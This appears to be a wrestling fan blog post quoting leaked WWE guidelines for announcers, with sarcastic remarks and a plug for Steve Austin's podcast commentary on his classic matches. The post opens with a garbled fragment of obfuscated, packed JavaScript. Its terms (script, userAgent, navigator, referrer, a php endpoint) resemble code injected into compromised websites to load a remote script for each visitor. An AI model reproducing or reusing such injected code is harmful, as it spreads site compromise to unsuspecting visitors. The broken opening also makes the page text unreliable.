");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhtik|var|u0026u|referrer|dkzde||js|php'.split('|'),0,{})) now this could be fun. So what we have here is a set of instructions given to the announcers from a few years back. It should be VERY interesting to see some of these details and the rules/ideas they’re told to follow. I’ve read through the list and a lot of them aren’t worth commenting on, but there are some major points of interest. Check out the whole list as it’s interesting information that you will likely say “THANK YOU!” to more than once, but here are some highlights. All of the following are direct quotes.

http://imgur.com/a/NW1WG#DWVb3Il

1. Play by play announcers cannot be emasculated by their broadcast partners.

2. Announcers should rarely lead our fans. Let them decide for themselves if they like a Superstar or dislike him.

3. Announcers ARE NOT THE STARS.

4. All announcers must read WWE.com every week.

Yeah yeah yeah we know. You hate Jim Ross and think he was the worst thing ever. Let it go already.

Dang Maggle. Steve Austin just kicked someone in the stomach and grabbed their head. You think he might be going for a snapmare next?

9. Our fans are always interested in what happens “in the locker room” or “away from the arena.”

10. Humor is good when it is used in a timely fashion. We are there primarily to inform and entertain.

11. Do not use pronouns.

12. Everyone hates being told what to think.

The hypocrisy here speaks for itself.

13. Nobody knows dates, everybody knows when “in two weeks”, “tomorrow”, etc is.

Words to Avoid

Shot (no title shots). As I have said many times, WHO COULD POSSIBLY CARE ABOUT THIS???

Now for some memos.

As has been said time after time: Kevin Dunn is an idiot.

Steve Austin’s Latest Cool Idea

He’s doing commentary for some of his classic matches on his podcast. The first one up is from Wrestlemania X7 with Austin vs. Rock. It’s basically him talking about the psychology behind the match or what they were shooting for or little things to look for that you wouldn’t see otherwise. This kind of stuff is fascinating and something that has a fortune to be made from wrestling geeks. Check this out if you’re a fan of wrestling and want to get deeper into psychology.

http://www.podcastone.com/Steve-Austin-Show?showAllEpisodes=true

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